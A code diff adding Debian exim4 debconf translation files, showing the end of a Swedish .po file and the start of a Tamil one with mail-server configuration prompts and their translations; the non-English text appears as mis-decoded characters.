+#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internetvärd; e-post skickas och tas emot direkt med SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "e-post skickas av \"smarthost\"; tas emot via SMTP eller fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "e-post skickas av \"smarthost\"; ingen lokal e-post" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "endast lokal leverans; inte del av ett nätverk" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ingen konfigurering just nu" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Allmän typ av e-postkonfiguration:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Välj den konfigurationstyp för e-postservern som bäst uppfyller dina behov." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"System med dynamiska IP-adresser, inklusive system med uppringd anslutning, " +"bör vanligtvis konfigureras att skicka all utgÃ¥ende e-post till en annan " +"maskin, en sÃ¥ kallad \"smarthost\" (smart värd), för leverans därför att " +"mÃ¥nga mottagande system pÃ¥ Internet blockerar inkommande e-post frÃ¥n " +"dynamiska IP-adresser som ett skydd mot skräppost." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Ett system med en dynamisk IP-adress kan ta emot sin egen e-post, eller " +"lokal leverans kan fullständigt inaktiveras (förrutom e-post till root och " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Ska e-postsystemet verkligen lämnas okonfigurerat?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Till dess att ditt e-postsystem är konfigurerat kommer det att vara trasigt " +"och kan inte användas. Konfigurationen kan göras senare, antingen manuellt " +"eller genom att köra \"dpkg-reconfigure exim4-config\" som root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Systemets e-postnamn:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Alternativet \"mail name\" är domännamnet som används för att \"qualify\" e-" +"postadresser utan ett domännamn." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Det här namnet kommer även att användas av andra program. Det bör vara det " +"fullständiga domännamnet (FQDN) för maskinen." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Till exempel om en e-postadress pÃ¥ den lokala värden är foo@domän.se blir " +"domän.se det korrekta värdet för det här alternativet." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Det här namnet kommer inte att synas i From:-rubrikerna för utgÃ¥ende " +"meddelanden om adressomskrivning är aktiverat." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Andra destinationer för vilka e-post accepteras:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Ange en semikolonavgränsad lista över mottagande domäner för vilka denna " +"maskin ska betrakta sig själv som den slutgiltiga destinationen. Dessa " +"domäner kallas vanligtvis för \"local domains\". Det lokala värdnamnet " +"(${fqdn}) och \"localhost\" läggs alltid till i listan som anges här." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Som standard behandlas alla lokala domäner lika. Om bÃ¥de a.exempel och b." +"exempel är lokala domäner, kommer acc@a.exempel och acc@b.exempel att " +"levereras till samma slutgiltiga destination. Om olika domännamn ska " +"behandlas olika är det nödvändigt att redigera konfigurationsfilerna efterÃ¥t." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domäner för vilka e-post ska vidarebefordras:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Ange en semikolonavgränsad lista över mottagardomäner för vilka det här " +"systemet ska vidarebefordra e-post, till exempel som en reserv-MX eller e-" +"postgateway. Det här betyder att det här systemet kommer att acceptera e-" +"post för dessa domäner frÃ¥n hela Internet och leverera dem enligt de lokala " +"leveransreglerna." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Nämn inga lokala domäner här. Jokertecken fÃ¥r användas." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Maskiner för vilka e-post ska vidarebefordras:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Ange en semikolonavgränsad lista över IP-adressintervall för vilka det här " +"systemet ska godtyckligt vidarebefordra e-post, alltsÃ¥ fungera som en " +"\"smarthost\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Du ska använda standardformatet för adress/prefix (t.ex. 194.222.242.0/24 " +"eller 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Om det här systemet inte ska vara en \"smarthost\" för nÃ¥gon annan värd, " +"lämna det här blankt." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Synligt domännamn för lokala användare:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Alternativet att dölja det lokala e-postnamnet i utgÃ¥ende e-post blev " +"aktiverat. Det är därför nödvändigt att ange domännamnet som det här " +"systemet ska använda för domändelen av de lokala användarnas " +"avsändaradresser." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-adress eller värdnamn till utgÃ¥ende \"smarthost\":" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Ange IP-adressen eller värdnamnet pÃ¥ en e-postserver som det här systemet " +"ska använda som utgÃ¥ende \"smarthost\". Om denna \"smarthost\" endast " +"accepterar din e-post pÃ¥ en annan port än TCP/25, lägg till tvÃ¥ kolontecken " +"och portnumret (till exempel, smarthost.exempel::587 eller " +"192.168.254.254::2525). Kolontecken i IPv6-adresser behöver dubbleras." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Om \"smarthost\" kräver autentisering, referera till den Debian-specifika " +"README-filen i /usr/share/doc/exim4-base för information om hur man " +"konfigurerar SMTP-autentisering." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Mottagare för e-post till root och postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"E-post till \"postmaster\", \"root\" och andra systemkonton behöver " +"omdirigeras till användarkontot som den faktiska systemadministratören " +"använder." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Om det här värden lämnas blank, kommer sÃ¥dan e-post att sparasi /var/mail/" +"mail, vilket inte rekommenderas." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Observera att e-post till postmaster bör läsas pÃ¥ systemet till vilket den " +"var dirigerad, istället för att vidarebefordras nÃ¥gon annanstans, sÃ¥ " +"(Ã¥tminstone en av) användarna som listas här inte ska vidarebefordra sin e-" +"post frÃ¥n denna maskin. Använd prefixet \"real-\" för att tvinga fram lokal " +"leverans." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Flera användarnamn behöver avgränsas med blanksteg." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-adresser att lyssna pÃ¥ efter inkommande SMTP-anslutningar:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Ange en semikolonavgränsad lista över IP-adresser. Exim SMTP-lyssnardemonen " +"kommer att lyssna pÃ¥ alla IP-adresser som listas här." + +# FIXME: Bättre översättning av "network interfaces" krävs. "Nätverkskort" +# används pÃ¥ andra ställen, men här funkar det inte. +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Om du lämnar det här värdet tomt kommer Exim att lyssna efter anslutningar " +"pÃ¥ alla tillgängliga nätverksgränssnitt." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Om det här systemet endast tar emot e-post direkt frÃ¥n lokala tjänster (och " +"inte frÃ¥n andra värdar) föreslÃ¥s det att förbjuda externa anslutningar till " +"den lokala Exim-demonen. SÃ¥dan tjänster inkluderar e-postprogram (MUA) som " +"endast pratar med localhost sÃ¥väl som fetchmail. Externa anslutningar är " +"omöjliga om 127.0.0.1 anges här eftersom det kommer att inaktivera lyssning " +"pÃ¥ publika nätverksgränssnitt." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "HÃ¥ll antalet DNS-frÃ¥gor till ett minimum (ring-vid-behov)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"I normalt driftläge gör Exim DNS-uppslagningar vid uppstart, och vid " +"mottagande och leverans av meddelanden. Detta görs i loggningssyfte samt för " +"att hÃ¥lla nere antalet hÃ¥rdkodade värden i konfigurationen." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Om detta system inte har en permanent DNS-namnserverÃ¥tkomst tillgänglig hela " +"tiden (till exempel om dess Internet-Ã¥tkomst är en uppringd förbindelse med " +"ring-vid-behov), sÃ¥ kan detta fÃ¥ oönskade följder. Till exempel att starta " +"upp Exim eller att köra igenom kön (även när inga meddelanden väntar) kunde " +"orsaka en kostsam uppringning." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Det här alternativet bör väljas om det här systemet använder ring-vid-behov. " +"Om det har permanent anslutning till Internet, bör det här alternativet " +"inaktiveras." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "E-postserverkonfiguration" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Dela konfigurationen i mindre filer?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debians exim4-paket kan antingen använda \"unsplit configuration\", en ensam " +"monolitisk fil (/etc/exim4/exim4.conf.template) eller \"split configuration" +"\", där de faktiska Exim-konfigurationfilerna byggs frÃ¥n cirka 50 mindre " +"filer under /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Odelad konfiguration är bättre lämpad för större ändringar och är generellt " +"mer stabil, medan delad konfiguration erbjuder ett smidigt sätt att göra " +"mindre ändringar men är mer bräcklig och kan gÃ¥ sönder om vÃ¥rdslösa " +"ändringar görs." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"En mer detaljerad diskussion om delning eller inte av konfigurationen kan " +"hittas i den Debian-specifika README-filen i /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Dölj lokalt e-postnamn i utgÃ¥ende e-post?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Rubrikerna pÃ¥ utgÃ¥ende e-post kan skrivas om för att det ska se ut som om " +"den har skapats pÃ¥ ett annat system. Om det här alternativet väljs kommer " +"\"${mailname}\", \"localhost\" och \"${dc_other_hostnames}\" i From, Reply-" +"To, Sender och Return-Path att skrivas om." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox-format i /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir-format i hemkatalog" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Leveransmetod för lokal e-post:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim kan lagra lokalt levererad e-post i olika format. De mest vanliga " +"sätten är mbox och Maildir. Mbox använder en enda fil för hela e-postmappen " +"och lagras under /var/mail. Med formatet Maildir lagras meddelanden var för " +"sig i separata filer under ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Observera dock att de flesta e-postverktyg i Debian förväntar som standard " +"att den lokala leveransmetoden är mbox." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Flytta olevererade e-postmeddelanden frÃ¥n exim 3 till exim4:s kökatalog?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Det finns olevererade e-postmeddelanden i exim 3:s (eller exim-tls 3) " +#~ "kökatalog /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Välj det här alternativet för att flytta dessa meddelanden till exim4:s " +#~ "kökatalog (/var/spool/exim4/input/) där de kommer att hanteras av exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Det här fungerar endast en väg: Exim4 kan hantera en exim 3-kö men inte " +#~ "tvärtom. Om du inte väljer det här alternativet kommer du att behöva " +#~ "flytta meddelandena själv eller sÃ¥ kommer de aldrig att levereras." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Lämna den här listan blank innebär att Exim inte levererar lokalt." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Var medveten om att detta enbart funkar ena vägen; exim4 kan hantera exim" +#~ "(v3):s kökatalog men det omvända gäller inte." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Flytta e-postmeddelandena endast om du inte planerar att gÃ¥ tillbaka till " +#~ "exim(v3). Annars bör e-posten inte flyttas nu utan manuellt när du har " +#~ "konverterat ditt system." + +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Om det finns nÃ¥gra fler sÃ¥ ange dem här, Ã¥tskilda med kolon. Du kan lämna " +#~ "det här tomt om det inte finns nÃ¥gra." + +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "Ange domänerna som du accepterar att vidarebefordra e-post för." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "SÃ¥dana domäner är domäner Ã¥t vilka du är beredd att acceptera e-post frÃ¥n " +#~ "var som helst pÃ¥ internet. Ange inte lokala domäner här." + +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Domänerna du anger ska avgränsas med kolon. Jokertecken kan användas." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Eftersom du valde att dölja det lokala e-postnamnet i utgÃ¥ende e-post sÃ¥ " +#~ "mÃ¥ste du ange domännamnet som ska användas för e-post frÃ¥n lokala " +#~ "användare. Detta är vanligtvis den maskin som du tar emot din e-post pÃ¥." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Var kommer dina användare att läsa sin e-post?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "Maskin som hanterar utgÃ¥ende e-post för denna värd (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "Ange värdnamnet pÃ¥ den maskin som utgÃ¥ende e-post skickas till." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Aktivera denna funktion om du använder ring-vid-behov (Dial-on-demand). " +#~ "Annars ska den avaktiveras." + +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Välj den konfigurationstyp som bäst uppfyller dina behov." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Om du är osäker sÃ¥ ska du inte använda delad konfiguration." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "konvertera manuellt frÃ¥n en hemsnickrad Exim v3-konfiguration" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Konfigurera Exim4 manuellt?" diff --git a/debian/po/ta.po b/debian/po/ta.po new file mode 100644 index 0000000..78369ed --- /dev/null +++ b/debian/po/ta.po @@ -0,0 +1,628 @@ +# translation of exim4_debian_po_ta.po to TAMIL +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# drtvasudevan <agnihot3@gmail.com>, 2007. +# Dr.T.Vasudevan <agnihot3@gmail.com>, 2007. +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian_po_ta\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-08 11:31+0530\n" +"Last-Translator: Dr.T.Vasudevan <agnihot3@gmail.com>\n" +"Language-Team: TAMIL <ubuntu-l10n-tam@lists.ubuntu.com>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "கணà¯à®Ÿà¯ அடைவிலிரà¯à®¨à¯à®¤à¯ சேரà¯à®ªà¯à®ªà®¿à®•à¯à®•à®ªà¯ படாத அஞà¯à®šà®²à¯à®•à®³à¯ˆ நீகà¯à®•à®µà®¾? " + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"எகà¯à®¸à¯ இம௠கணà¯à®Ÿà¯ அடைவ௠/var/spool/exim4/input இல௠இத௠வரை சேரà¯à®ªà¯à®ªà®¿à®•à¯à®•à®ªà¯ படாத சில " +"அஞà¯à®šà®²à¯à®•à®³à¯ உளà¯à®³à®©. எகà¯à®¸à¯ இம௠஠நீகà¯à®•à¯à®µà®¤à®¾à®²à¯ அவை எகà¯à®¸à¯ இம௠஠மீணà¯à®Ÿà¯à®®à¯ நிறà¯à®µà¯à®®à¯ வரை சேரà¯à®ªà¯à®ªà®¿à®•à¯à®•à®ªà¯ " +"படாமலே இரà¯à®•à¯à®•à¯à®®à¯. " + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"இநà¯à®¤ தேரà¯à®µà¯ˆ தேரà¯à®¨à¯à®¤à¯†à®Ÿà¯à®•à¯à®•à®µà®¿à®²à¯à®²à¯ˆà®¯à®¾à®©à®¾à®²à¯ கணà¯à®Ÿà¯ அடைவ௠அபà¯à®ªà®Ÿà®¿à®¯à¯‡ வைகà¯à®•à®ªà¯ படà¯à®®à¯. அதனால௠எகà¯à®¸à¯ இம௠" +"மீணà¯à®Ÿà¯à®®à¯ நிறà¯à®µà®ªà¯ படà¯à®®à¯ போத௠கà¯à®¯à¯‚வில௠உளà¯à®³ செயà¯à®¤à®¿à®•à®³à¯ பினà¯à®©à®¾à®²à¯ ஒர௠தேதியில௠சேரà¯à®ªà¯à®ªà®¿à®•à¯à®• இயலà¯à®®à¯." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "இநà¯à®¤ பணிதொகà¯à®ªà¯à®ªà¯à®•à¯à®•à¯ பதில௠எகà¯à®¸à¯ இம௠4 ஠மீணà¯à®Ÿà¯à®®à¯ வடிவமைகà¯à®•à®µà¯à®®à¯." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"எகà¯à®¸à¯ இமà¯4 இன௠வடிவமைபà¯à®ªà¯ பிரதà¯à®¯à¯‡à®• பொதி exim4-config இல௠வரையப௠படà¯à®Ÿà¯à®³à¯à®³à®¤à¯. நீஙà¯à®•à®³à¯ எகà¯à®¸à¯ " +"இமà¯4 ஠மீணà¯à®Ÿà¯à®®à¯ வடிவமைகà¯à®• விரà¯à®®à¯à®ªà®¿à®©à®¾à®²à¯ 'dpkg-reconfigure exim4-config' எனà¯à®± கடà¯à®Ÿà®³à¯ˆà®¯à¯ˆ " +"பயன௠படà¯à®¤à¯à®¤à®µà¯à®®à¯." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "இணையதளமà¯. அஞà¯à®šà®²à¯ எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ வழியாக நேரடியாக அனà¯à®ªà¯à®ªà®ªà¯ படà¯à®Ÿà¯ பெறபà¯à®ªà®Ÿà¯à®•à®¿à®±à®¤à¯." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"அஞà¯à®šà®²à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ வழியாக அனà¯à®ªà¯à®ªà®ªà¯ படà¯à®Ÿà¯ எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ அலà¯à®²à®¤à¯ பெஃடà¯à®šà¯à®®à¯†à®¯à®¿à®²à¯ வழியாக " +"பெறபà¯à®ªà®Ÿà¯à®•à®¿à®±à®¤à¯." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "அஞà¯à®šà®²à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ வழியாக அனà¯à®ªà¯à®ªà®ªà¯ படà¯à®Ÿà®¤à¯; உளà¯à®³à®®à¯ˆ அஞà¯à®šà®²à¯ இலà¯à®²à¯ˆ" + +#. Type: select +#. Choices +#. Translators beware! the 